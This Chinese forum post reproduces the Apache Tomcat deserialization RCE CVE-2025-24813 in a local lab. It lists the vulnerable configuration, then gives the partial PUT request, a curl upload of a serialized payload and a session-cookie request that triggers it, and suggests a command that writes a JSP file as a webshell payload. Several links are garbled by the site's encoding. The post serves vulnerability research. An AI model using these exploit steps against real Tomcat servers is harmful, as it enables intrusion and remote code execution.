首页
社区
课程
招聘
[原创]Apache Tomcat RCE漏洞复现(CVE-2025-24813)
发表于: 2025-4-14 10:02 1056

[原创]Apache Tomcat RCE漏洞复现(CVE-2025-24813)

2025-4-14 10:02
1056

一、漏洞简介

  CVE-2025-24813 漏洞的核心在于 Apache Tomcat 在处理不完整的PUT请求时,会使用基于用户提供的文件名和路径生成临时文件。

满足以下条件时,攻击者可利用此漏洞执行任意代码:

  • 默认Servlet启用了写权限(默认禁用)。

  • 启用了部分PUT请求支持(默认启用)。

  • 应用程序使用了Tomcat的基于文件的会话持久化机制(默认存储位置)。

  • 应用程序包含可被利用于反序列化攻击的第三方库(如 Apache Commons Collections 3.2.1)。

受影响版本#

  • Apache Tomcat 11.0.0-M1 至0.2

  • Apache Tomcat 10.1.0-M1 至1.34

  • Apache Tomcat 9.0.0-M1 至0.98

二、环境部署

  使用 Tomcat 9.0.98 版本复现:(8b5K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6S2M7X3y4Z5K9i4k6W2i4K6u0W2j5i4m8S2j5$3S2W2i4K6u0W2L8%4u0Y4i4K6u0r3k6r3W2K6N6q4)9J5c8Y4c8G2L8h3y4S2N6q4)9J5c8Y4c8G2L8h3y4S2N6q4)9J5k6o6W2Q4x3V1k6$3z5g2)9J5k6e0m8Q4x3X3f1&6z5q4)9J5c8X3u0A6L8W2)9J5c8X3q4H3j5h3y4Z5k6g2)9J5k6s2c8G2L8h3y4S2N6q4)9J5k6o6W2Q4x3X3f1H3i4K6u0W2z5e0S2Q4x3X3g2*7K9i4l9`.

  1.  启用DefaultServlet写权限

修改 conf/web.xml 文件,设置 readonly 为 false:

在conf/web.xml中,将DefaultServlet的readonly配置为false,启用写入功能

  <init-param>

    <param-name>readonly</param-name>

    <param-value>false</param-value>

  </init-param>

  2.  在conf/context.xml中,开启File文件会话存储

<Manager className="org.apache.catalina.session.PersistentManager">

<Store className="org.apache.catalina.session.FileStore"/>

</Manager>

  3.  PUT方法默认是启用状态

  4.  需要在项目中包含可被利用于反序列化攻击的库(例如 Commons Collections 3.2.1)

下载 commons-collections-3.2.1.jar(040K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6E0N6X3&6J5k6i4m8G2M7$3W2@1L8%4u0&6i4K6u0W2j5$3!0E0i4K6u0r3j5i4u0@1K9h3k6S2j5%4c8Q4x3V1k6U0L8$3#2E0L8$3&6K6i4K6u0V1j5$3!0D9L8r3g2U0N6r3W2G2L8Y4y4Q4x3V1k6U0L8$3#2E0L8$3&6K6i4K6u0V1j5$3!0D9L8r3g2U0N6r3W2G2L8Y4y4Q4x3V1j5K6i4K6u0W2x3W2)9J5k6e0q4Q4c8f1k6Q4b7V1y4Q4z5o6V1`.

将该 jar 包放入webapps\ROOT\WEB-INF\lib目录下

利用条件准备完毕,启动 Tomcat 程序:.\bin\catalina.bat run(若是在 liunx/mac 环境下则改用 catalina.sh ),浏览器访问本地8080端口查看是否启动成功

三、复现

  使用 partial PUT 请求将恶意的序列化数据写入到会话文件中,在开启文件会话持久化(默认存储位置),并且在文件上传未完成的情况下,内容会被临时存储在 Tomcat 的工作目录work\Catalina\localhost\ROOT。

在 HTTP 协议中,Content-Range 字段用于表示客户端通过分段传输的方式上传或下载文件。例如 Content-Range: bytes 0-1000/1200 表示文件总大小是1200字节,本次上传的是前1001字节(0-1000),后续上传剩余部分(1001-1200)。

所以利用这个特点,可以分段上传覆盖或注入敏感文件,尝试下向默认存储位置 work\Catalina\localhost\ROOT 注入文件:

PUT /poc/session HTTP/1.1

Host: localhost:8080

Content-Range: bytes 0-1000/1200

{{(paylaod...)}}

ROOT目录下成功写入了文件(.poc.session):

Tomcat 对不完整的PUT请求上传时的文件名处理机制:文件路径中的分隔符 / 会被转换为 .

准备生成一个恶意的序列化文件上传,推荐使用 Java Chains 快速生成一个base64编码的cc链反序列化payload,这里选择用K1链来弹计算器:

  准备好PUT请求包,需要注意 Content-Range 的分块值需要大于当前文件的长度。这里使用yakit的base64dec()标签对payload进行解码上传,直接上传Raw格式Payload是不可用的。

或者使用curl直接上传bin格式Payload文件:

curl -X PUT -H "Content-Range: bytes 0-1000/1200" --data-binary @payload.ser 585K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3I4G2j5$3q4D9K9r3!0K6N6q4)9K6b7e0R3H3z5o6m8Q4x3V1k6H3L8$3y4Q4x3V1k6K6k6i4y4K6K9h3!0F1

  当Payload文件成功上传后,Tomcat会在30秒内自动触发反序列化,随后删除该session文件。

若想手动触发,可发送如下请求:

GET / HTTP/1.1

Host: localhost:8080

Cookie: JSESSIONID=.poc

四、替代Payload示例(命令执行)

  若希望执行其他命令(如写入JSP Webshell),可使用以下Payload示例:

Windows环境下写入一个简单的JSP文件:

/r C:\ %i in (index.jsp) do @echo "test" > "%~dpi\example.jsp"

上传并触发后,访问:f2cK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3I4G2j5$3q4D9K9r3!0K6N6q4)9K6b7e0R3H3z5o6m8Q4x3V1k6W2P5r3q4E0M7r3I4W2i4K6u0W2K9Y4y4H3i4@1f1#2i4K6S2p5i4@1t1K6i4@1f1#2i4K6S2r3i4@1q4r3i4@1f1&6i4@1q4m8i4K6S2o6i4@1f1^5i4@1q4r3i4K6R3I4f1r3q4&6L8r3!0S2k6q4!0q4y4W2)9^5z5g2!0m8y4#2!0q4z5q4!0m8x3g2)9^5b7#2!0q4y4W2)9&6y4g2)9^5z5q4!0q4y4W2)9&6c8g2)9&6b7#2!0q4x3#2)9^5x3q4)9^5x3R3`.`.

本文为独立观点,未经授权禁止转载。




[培训]科锐逆向工程师培训第53期2025年7月8日开班!

收藏
免费 0
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回